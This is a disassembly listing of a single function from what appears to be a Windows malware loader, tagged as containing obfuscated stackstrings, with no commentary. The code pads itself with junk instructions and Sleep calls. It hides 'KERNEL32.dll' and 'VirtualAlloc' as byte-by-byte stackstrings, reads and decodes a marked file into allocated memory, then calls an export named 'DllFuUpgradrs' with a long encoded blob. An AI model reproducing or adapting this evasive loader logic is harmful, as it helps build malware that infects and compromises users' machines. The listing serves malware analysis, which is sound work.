Function at 0x403830
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
nop
bt eax, 0xe0
xor ah, 0x3d
sub al, 0xb5
test ebp, ebx
xor al, al
xadd eax, eax
xadd ah, al
neg eax
imul eax, ebx, 0x78b3bbf9
inc eax
imul eax, edx, 0xf9539b11
and eax, 0xc7e2d3ce
movsx eax, si
bsf eax, ecx
movsx eax, bx
btc eax, 0xb
dec eax
test cl, bl
mov eax, 0x2e383802
mov ah, 0x3d
mov ah, 0x8e
shrd eax, ebp, cl
movzx eax, dh
movsx eax, bl
test ecx, eax
shrd eax, esi, cl
rcl ah, 0x62
test ecx, edi
imul eax, ebp
bsf eax, edx
xadd al, ah
test edi, esi
dec al
bswap eax
dec ah
sub al, cl
call fcn.00404130
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404130
mov dword [ebp - 8], 0x3e8
call fcn.00404130
mov eax, dword [ebp + 8]
push eax
call fcn.00403310
add esp, 4
test eax, eax
je 0x403b85
call fcn.00404130
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push 0x40ef60
call dword [0x40ef5c]
mov edi, eax
call fcn.00404130
cmp edi, 0xffffffff
je 0x403b85
call fcn.00404130
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x53
mov byte [ebp - 0x11], 0x53
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0
call fcn.00404130
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x49
mov byte [ebp - 0x22], 0x44
mov byte [ebp - 0x21], 0x3a
mov byte [ebp - 0x20], 0x32
mov byte [ebp - 0x1f], 0x30
mov byte [ebp - 0x1e], 0x31
mov byte [ebp - 0x1d], 0x34
mov byte [ebp - 0x1c], 0x2d
mov byte [ebp - 0x1b], 0x53
mov byte [ebp - 0x1a], 0x56
mov byte [ebp - 0x19], 0x38
mov byte [ebp - 0x18], 0
call fcn.00404130
lea ecx, [ebp - 0x14]
push ecx
push edi
call fcn.00402f70
add esp, 8
mov ebx, eax
call fcn.00404130
push edi
call dword [0x40ef38]
call fcn.00404130
call fcn.00404130
test ebx, ebx
je 0x403b85
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
lea edi, [ebp - 0x24]
add ebx, 6
mov dl, byte [ebx]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x4039e2
test al, al
je 0x4039de
mov cl, byte [ebx + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x4039e2
add ebx, 2
add edi, 2
test al, al
jne 0x4039ba
xor eax, eax
jmp 0x4039e7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x403b85
push eax
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x40ef60
call dword [0x40ef5c]
mov edi, eax
push 0
mov dword [ebp - 4], edi
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
test edi, edi
je 0x403b85
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
call fcn.00404130
push 0
push edi
call dword [0x40ef4c]
push 0
mov edi, eax
mov byte [ebp - 0x44], 0x4b
mov byte [ebp - 0x43], 0x45
mov byte [ebp - 0x42], 0x52
mov byte [ebp - 0x41], 0x4e
mov byte [ebp - 0x40], 0x45
mov byte [ebp - 0x3f], 0x4c
mov byte [ebp - 0x3e], 0x33
mov byte [ebp - 0x3d], 0x32
mov byte [ebp - 0x3c], 0x2e
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x34], 0x56
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x41
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x63
mov byte [ebp - 0x28], 0
call esi
push 0
call esi
push 0
call esi
lea edx, [ebp - 0x34]
lea eax, [ebp - 0x44]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x3000
push edi
push 0
call eax
mov ebx, eax
call fcn.00404130
push 0
call esi
push 0
call esi
push 0
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0xc]
push 0
push ecx
push edi
push ebx
push edx
call dword [0x40ef50]
call fcn.00404130
mov eax, dword [ebp - 4]
push eax
call dword [0x40ef38]
call fcn.00404130
push 0
call esi
push 0
call esi
push 0
call esi
push edi
push ebx
call fcn.00403780
add esp, 8
push 0
call esi
push 0
call esi
push 0
call esi
call fcn.00404130
push ebx
call fcn.00401120
add esp, 4
mov edi, eax
push 0
call esi
push 0
call esi
push 0
call esi
call fcn.00404130
push 0
call esi
push 0
call esi
push 0
call esi
test edi, edi
jne 0x403bbc
call fcn.00404130
push 0x40ef60
push str.t7Ozrn8_PXu_fLx_e709P3z7unu7_D1_J3Cs5CmsLPn5_3Du7vf
call fcn.00402b80
add esp, 8
test eax, eax
je 0x403ba7
mov dword [ebp - 8], 0x14
call fcn.00404130
call fcn.00404130
mov ecx, dword [ebp - 8]
push ecx
call esi
jmp 0x4038ac
call fcn.00404130
mov byte [ebp - 0x24], 0x43
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x33
mov byte [ebp - 0x20], 0x36
mov byte [ebp - 0x1f], 0x30
mov byte [ebp - 0x1e], 0x79
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0
call fcn.00404130
push 0
call esi
push 0
call esi
push 0
call esi
mov byte [ebp - 0x54], 0x44
mov byte [ebp - 0x53], 0x6c
mov byte [ebp - 0x52], 0x6c
mov byte [ebp - 0x51], 0x46
mov byte [ebp - 0x50], 0x75
mov byte [ebp - 0x4f], 0x55
mov byte [ebp - 0x4e], 0x70
mov byte [ebp - 0x4d], 0x67
mov byte [ebp - 0x4c], 0x72
mov byte [ebp - 0x4b], 0x61
mov byte [ebp - 0x4a], 0x64
mov byte [ebp - 0x49], 0x72
mov byte [ebp - 0x48], 0x73
mov byte [ebp - 0x47], 0
call fcn.00404130
push 0
call esi
push 0
call esi
push 0
call esi
lea edx, [ebp - 0x54]
push edx
push edi
call fcn.00402080
add esp, 8
mov ebx, eax
call fcn.00404130
push 0
call esi
push 0
call esi
push 0
call esi
test ebx, ebx
je 0x403c92
push 0
call esi
push 0
call esi
push 0
call esi
lea eax, [ebp - 0x24]
push eax
push str.xrypyMH4O74Ab7CxN_Dwqm83_D38PjfO_479_p7enp7u3twLvEyMGu34vw7O_37erfiq64vcO8_6vFqrCvuKy435jGvKq6tf_Cua3Dw6uvvKu3vLzIw7vDrcHfcz9tPXUkcz8lDg8dDm1zMShHcHdtfQoLaYJ3Mw8dKEdwdxo0aYKAft_8j63Cuq3AxJnIw7yu_JOkyL6twq7Cuav_mMa7qrDGk9iu8bBwLe8Aby3vNLyLCur8H_rKqqq8jEqcjfG4MnImoJCkjf3_Df7d_v3_Df79_Hq6uv9QICqqqqAciv8O73Ab7CxALIr67w7vcBwK6v8siv9PyucCq8jCwfTt3_Hx_9_zAt_Hq6uv9QICu8GuAcDItcfAwQGwsQC8rD0_K7f_QP93_0D38erq6_1AgKsrrytAbC1wsG8AbCwAb7CxAL8rt8
call ebx
add esp, 8
push 0
call esi
push 0
call esi
push 0
call esi
call fcn.00404130
push 0
call esi
push 0
call esi
push 0
call esi
call fcn.00404130
push edi
call fcn.004022c0
add esp, 4
push 0
call esi
push 0
call esi
push 0
call esi
call fcn.00404130
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret